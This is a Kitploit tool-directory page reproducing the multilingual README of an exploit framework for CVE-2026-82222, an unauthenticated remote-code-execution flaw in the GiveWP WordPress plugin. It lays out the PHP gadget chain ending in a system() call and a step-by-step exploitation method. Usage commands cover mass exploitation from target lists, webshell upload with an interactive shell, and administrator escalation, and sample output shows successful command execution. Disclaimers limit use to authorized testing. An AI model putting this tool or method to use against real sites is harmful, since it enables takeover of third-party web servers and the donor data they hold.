Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-82222 — Exploit-Framework für CVE-2026-82222, eine nicht authentifizierte RCE im GiveWP-WordPress-Plugin. Unterstützt Massen-Scanning, automatische Erkennung, Multithreading, JSON/TXT-Ausgabe und eine interaktive Shell für autorisierte Tests. | Kitploit
Tools/GitHubGitHub/ghostlyrootb2h/cve-2026-82222
SchwachstellenscannerExploitationWebanwendungs-ExploitationInformationsbeschaffungWebsicherheitPenetrationstestsCommand and ControlPayload-Entwicklung
GitHub
ghostlyrootb2h/cve-2026-82222

CVE-2026-82222

Exploit-Framework für CVE-2026-82222, eine nicht authentifizierte RCE im GiveWP-WordPress-Plugin. Unterstützt Massen-Scanning, automatische Erkennung, Multithreading, JSON/TXT-Ausgabe und eine interaktive Shell für autorisierte Tests.

Repository anzeigen
vor 7h 38mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

⚡ GHOSTLYR00T - GiveWP RCE Exploit Framework

Python Version License Author CVE CVSS

CVE-2026-82222 - GiveWP Unauthenticated RCE Exploit
Mass Scanner + Auto-Detection + Multi-Threading + Interactive Shell


📋 Daftar Isi | Inhaltsverzeichnis

  • Overview
  • Fitur Utama | Hauptfunktionen
  • Vulnerability Details
  • Instalasi | Installation
  • Parameter Lengkap | Vollständige Parameter
  • Contoh Penggunaan | Beispiele
  • Hasil Scan | Scan-Ergebnisse
  • How It Works
  • FAQ
  • Peringatan | Warnung
  • Lisensi | Lizenz

  • 🎯 Overview

    GHOSTLYR00T ist ein Exploit-Framework für CVE-2026-82222, eine PHP-Object-Injection-Schwachstelle im GiveWP-Plugin für WordPress, die Remote Code Execution (RCE) ohne Authentifizierung ermöglicht. Das Tool unterstützt Mass Scanning, Auto-Detection und eine Interactive Shell.

    🔴 CVSS 9.8 - KRITISCH

    Vector: AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H


    🚀 Fitur Utama | Hauptfunktionen

    🇮🇩 Bahasa Indonesia

    FiturDeskripsi
    Mass ScanScan ratusan target dari file (-f targets.txt)
    Auto-DetectionDeteksi otomatis form ID, gateway, dan amount donasi
    Multi-ThreadingScan paralel dengan thread configurable (--threads)
    Check ModeFingerprint cepat tanpa exploit (--check)
    JSON OutputExport hasil ke JSON (--json)
    TXT OutputExport hasil ke TXT ringkas (--txt)
    Interactive ShellUpload webshell + terminal interaktif
    Admin EscalationAuto-escalate user ke administrator
    Progress BarMonitor real-time proses scanning
    Colored OutputOutput dengan warna dan format profesional

    🇬🇧 English

    FeatureDescription
    Mass ScanScan hundreds of targets from file (-f targets.txt)
    Auto-DetectionAuto-detects form ID, gateway, and donation amount
    Multi-ThreadingParallel scanning with configurable threads
    Check ModeFast fingerprint without exploitation (--check)
    JSON OutputExport results to JSON (--json)
    TXT OutputExport results to TXT (--txt)
    Interactive ShellUpload webshell + interactive terminal
    Admin EscalationAuto-escalate user to administrator
    Progress BarReal-time scan progress monitoring
    Colored OutputProfessional colored terminal output

    🔍 Vulnerability Details

    CVE-2026-82222 - GiveWP Unauthenticated RCE

    AspekDetail
    Affected VersionsGiveWP <= 4.16.7.1
    Patched VersionsGiveWP >= 4.16.7.2
    Attack VectorNetwork (AV:N)
    Privileges RequiredNone (PR:N)
    ImpactComplete System Compromise

    POP Chain:

    root@kitploit:~
    TCPDF::__destruct()
      -> TCPDF::_destroy(true)
        -> foreach ($this->imagekeys as $file)
          -> Symfony Session::getIterator()
            -> Session::getBag($this->attributeName)
              -> $this->storage->getBag($attributeName)
                -> DonationFactory->__call('getBag', [$attributeName])
                  -> call_user_func_array('system', [$attributeName])
    

    📦 Instalasi | Installation

    🇮🇩 Bahasa Indonesia

    🔧 Persyaratan Sistem

    • OS: Linux / Windows / MacOS
    • Python: Versi 3.8 atau lebih baru
    • Library: requests, urllib3

    📥 Langkah Instalasi

    root@kitploit:~
    # 1. Clone repository
    git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git
    cd GHOSTLYR00T
    
    # 2. Install dependencies
    pip install requests urllib3
    
    # 3. Tes apakah berhasil
    python3 poc.py -h
    

    🇬🇧 English

    🔧 System Requirements

    • OS: Linux / Windows / MacOS
    • Python: Version 3.8 or higher
    • Libraries: requests, urllib3

    📥 Installation Steps

    root@kitploit:~
    # 1. Clone repository
    git clone https://github.com/GhostlyrootB2H/GHOSTLYR00T.git
    cd GHOSTLYR00T
    
    # 2. Install dependencies
    pip install requests urllib3
    
    # 3. Test if successful
    python3 poc.py -h
    

    🎯 Parameter Lengkap | Vollständige Parameter

    🇮🇩 Bahasa Indonesia

    ParameterFungsiContoh
    -f, --fileFile target (batch mode)-f targets.txt
    --threadsJumlah thread (default: 4)--threads 10
    --jsonExport hasil ke JSON--json hasil.json
    --txtExport hasil ke TXT--txt hasil.txt
    -c, --commandCommand yang dieksekusi-c "id"
    -g, --gatewayForce gateway tertentu-g stripe
    -a, --amountForce amount donasi-a 25.00
    -t, --triggersRetry attempts (default: 4)-t 5
    --timeoutTimeout per request (default: 30s)--timeout 60
    --checkFingerprint only--check
    --upload-shellUpload webshell--upload-shell
    -i, --interactiveInteractive terminal-i
    -v, --verboseVerbose output-v
    --no-colorDisable colored output--no-color

    🇬🇧 English

    ParameterFunctionExample
    -f, --fileTarget file (batch mode)-f targets.txt
    --threadsNumber of threads (default: 4)--threads 10
    --jsonExport results to JSON--json results.json
    --txtExport results to TXT--txt results.txt
    -c, --commandCommand to execute-c "id"
    -g, --gatewayForce specific gateway-g stripe
    -a, --amountForce donation amount-a 25.00
    -t, --triggersRetry attempts (default: 4)-t 5
    --timeoutRequest timeout (default: 30s)--timeout 60
    --checkFingerprint only--check
    --upload-shellUpload webshell--upload-shell
    -i, --interactiveInteractive terminal-i
    -v, --verboseVerbose output-v
    --no-colorDisable colored output--no-color

    🔥 Contoh Penggunaan | Beispiele

    🇮🇩 Bahasa Indonesia

    1. Single Target

    root@kitploit:~
    python3 poc.py https://target.com -c "id"
    

    2. Batch Scan (Check Mode)

    root@kitploit:~
    python3 poc.py -f targets.txt --check --txt hasil_check.txt
    

    3. Batch Scan (Exploit Mode)

    root@kitploit:~
    python3 poc.py -f targets.txt -c "id" --threads 5 --json hasil.json --txt hasil.txt
    

    4. Interactive Shell

    root@kitploit:~
    python3 poc.py https://target.com -c "id" --upload-shell -i
    

    5. Verbose Mode

    root@kitploit:~
    python3 poc.py https://target.com -c "id" -v
    

    🇬🇧 English

    1. Single Target

    root@kitploit:~
    python3 poc.py https://target.com -c "id"
    

    2. Batch Scan (Check Mode)

    root@kitploit:~
    python3 poc.py -f targets.txt --check --txt check_results.txt
    

    3. Batch Scan (Exploit Mode)

    root@kitploit:~
    python3 poc.py -f targets.txt -c "id" --threads 5 --json results.json --txt results.txt
    

    4. Interactive Shell

    root@kitploit:~
    python3 poc.py https://target.com -c "id" --upload-shell -i
    

    5. Verbose Mode

    root@kitploit:~
    python3 poc.py https://target.com -c "id" -v
    

    📊 Hasil Scan | Scan-Ergebnisse

    🇮🇩 Bahasa Indonesia

    Terminal Output (Berhasil Exploit)

    root@kitploit:~
    CVE-2026-82222  GiveWP <= 4.16.7.1  unauthenticated RCE  |  PoC v2.2
        target   : https://target.com
        form id  : auto-discover
        command  : id
    
    root@kitploit:~
    + GiveWP 4.15.4 detected (vulnerable).
    + User "a1788868506" registered.
    + Gadget stored in account meta.
    + Discovered 13 form(s).
    + Success! Form 37256 / gateway paypal / amount 1.00
    + Session poisoned (HTTP 500).
    +--- command output --------------------------------------------
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
    +---------------------------------------------------------------
    

    [+] SUCCESS. The target executed the command.

    TXT Output (Check Mode)

    root@kitploit:~
    # GiveWP Vulnerability Scan Results (Fingerprint Mode)
    # Generated: 2026-09-09 12:00:00
    # Total: 10 | Vulnerable: 4 | Exploited: 0 | Failed: 6
    #
    # Format: TARGET | VERSION | STATUS
    #
    https://target1.com | 4.15.4 | VULNERABLE
    https://target2.com | 4.14.6 | VULNERABLE
    

    JSON Output

    root@kitploit:~
    {
      "timestamp": 1694265600,
      "mode": "exploit",
      "total": 10,
      "vulnerable": 4,
      "exploited": 3,
      "failed": 7,
      "results": [
        {
          "target": "https://target1.com",
          "status": "exploited",
          "version": "4.15.4",
          "command_output": "uid=33(www-data) gid=33(www-data)"
        }
      ]
    }
    

    🇬🇧 English

    Terminal Output (Successful Exploit)

    root@kitploit:~
    CVE-2026-82222  GiveWP <= 4.16.7.1  unauthenticated RCE  |  PoC v2.2
        target   : https://target.com
        form id  : auto-discover
        command  : id
    
    root@kitploit:~
    + GiveWP 4.15.4 detected (vulnerable).
    + User "a1788868506" registered.
    + Gadget stored in account meta.
    + Discovered 13 form(s).
    + Success! Form 37256 / gateway paypal / amount 1.00
    + Session poisoned (HTTP 500).
    +--- command output --------------------------------------------
    | uid=33(www-data) gid=33(www-data) groups=33(www-data)
    +---------------------------------------------------------------
    

    [+] SUCCESS. The target executed the command.


    ⚙️ How It Works

    🇮🇩 Bahasa Indonesia

    Schritt-für-Schritt-Ausnutzung:

    1. Fingerabdruck: Erkennt die GiveWP-Version über readme.txt und give.php
    2. Registrierung: Erstellt ein Spenderkonto ohne Authentifizierung über give_action=user_register
    3. Payload-Speicherung: Speichert ein serialisiertes PHP-Objekt in den last_name-Metadaten
    4. Formular-Erkennung: Findet Spendenformulare über REST-API und Scraping
    5. Gateway/Betrag-Auto-Erkennung: Testet Gateway- und Betragskombinationen, bis es erfolgreich ist
    6. Session-Poisoning: Sendet eine Spende ohne das Feld give_last, um die Deserialisierung auszulösen
    7. Auslösen & Erfassen: Greift auf die Session zu, um den Payload zu reaktivieren und die Ausgabe zu erfassen

    Auto-Erkennungslogik:

    root@kitploit:~
    # Gateway detection order
    CANDIDATE_GATEWAYS = ['manual', 'offline', 'paypal', 'stripe', 'square',
                          'paypalexpress', 'authorize', 'razorpay', 'mollie']
    

    Amount detection order

    AMOUNT_TESTS = ['0.01', '1.00', '5.00', '10.00', '25.00', '50.00', '100.00', '250.00', '500.00']

    🇬🇧 Englisch

    Schritt-für-Schritt-Ausnutzung:

    1. Fingerabdruck: Erkennt die GiveWP-Version über readme.txt und give.php
    2. Registrierung: Erstellt ein Spenderkonto über give_action=user_register
    3. Payload-Speicherung: Speichert ein serialisiertes PHP-Objekt in den last_name-Metadaten
    4. Formular-Erkennung: Findet Spendenformulare über REST-API und Scraping
    5. Gateway/Betrag-Auto-Erkennung: Testet Kombinationen, bis es erfolgreich ist
    6. Session-Poisoning: Sendet eine Spende ohne give_last, um die Deserialisierung auszulösen
    7. Auslösen & Erfassen: Greift auf die Session zu, um den Payload zu reaktivieren und die Ausgabe zu erfassen

    ❓ FAQ

    🇮🇩 Bahasa Indonesia

    PertanyaanJawaban
    Versi GiveWP apa yang rentan?GiveWP <= 4.16.7.1. Versi 4.16.7.2 dan di atasnya sudah patched.
    Kenapa harus -a 25?Beberapa form punya minimum amount (misal $25). Tools auto-detect, tapi bisa di-force.
    Bisa digunakan di production?TIDAK. Hanya untuk authorized testing.
    Kenapa registrasi gagal (HTTP 200)?Target mungkin registrasi dimatikan, WAF aktif, atau versi 4.16.6+.

    🇬🇧 Englisch

    FrageAntwort
    Welche GiveWP-Versionen sind verwundbar?GiveWP <= 4.16.7.1. Version 4.16.7.2 und höher sind gepatcht.
    Warum -a 25 verwenden?Einige Formulare haben Mindestbeträge. Das Tool erkennt automatisch, kann aber erzwungen werden.
    Kann dies in der Produktion verwendet werden?NEIN. Nur für autorisierte Tests.
    Warum schlägt die Registrierung fehl (HTTP 200)?Das Ziel hat möglicherweise die Registrierung deaktiviert, eine aktive WAF oder Version 4.16.6+.

    ⚠️ Peringatan | Warnung

    ⚠️ PERINGATAN HUKUM ⚠️

    TOOLS INI HANYA UNTUK PENELITIAN KEAMANAN!


    ⚠️ Ilegal: Mengakses server tanpa izin = tindak pidana
    ⚠️ UU ITE: Melanggar Pasal 30-32 tentang akses ilegal
    ⚠️ Hanya untuk: Pengujian sistem sendiri atau dengan izin tertulis
    ⚠️ Tanggung Jawab: Pengguna bertanggung jawab penuh atas penggunaan tools ini

    GUNAKAN DENGAN BIJAK DAN BERTANGGUNG JAWAB!

    ⚠️ RECHTLICHE WARNUNG ⚠️

    DIESES TOOL IST NUR FÜR SICHERHEITSFORSCHUNG!


    ⚠️ Illegal: Zugriff auf Server ohne Erlaubnis = Straftat
    ⚠️ Rechtliches Risiko: Verstößt gegen Gesetze zu Computerbetrug
    ⚠️ Nur autorisierte Nutzung: Testen Sie Ihre eigenen Systeme oder nur mit schriftlicher Genehmigung
    ⚠️ Verantwortung: Benutzer sind für die Nutzung dieses Tools vollständig verantwortlich

    VERWENDEN SIE ES WEISE UND VERANTWORTUNGSBEWUSST!


    📜 Lisensi | Lizenz

    🇮🇩 Bahasa Indonesia

    Copyright © 2026 GhostlyrootB2H
    Didistribusikan di bawah lisensi MIT.

    🇬🇧 Englisch

    Copyright © 2026 GhostlyrootB2H
    Verteilt unter der MIT-Lizenz.


    👨‍💻 Autor

    GhostlyrootB2H

    🐙 GitHub: @GhostlyrootB2H

    🇮🇩 Terima kasih telah menggunakan GHOSTLYR00T!
    Tools ini untuk pembelajaran dan pengujian keamanan.
    Jangan gunakan untuk aktivitas ilegal!

    🇬🇧 Danke, dass Sie GHOSTLYR00T verwenden!
    Nur für Lern- und Sicherheitstests.
    Nicht für illegale Aktivitäten verwenden!

    Tool herunterladen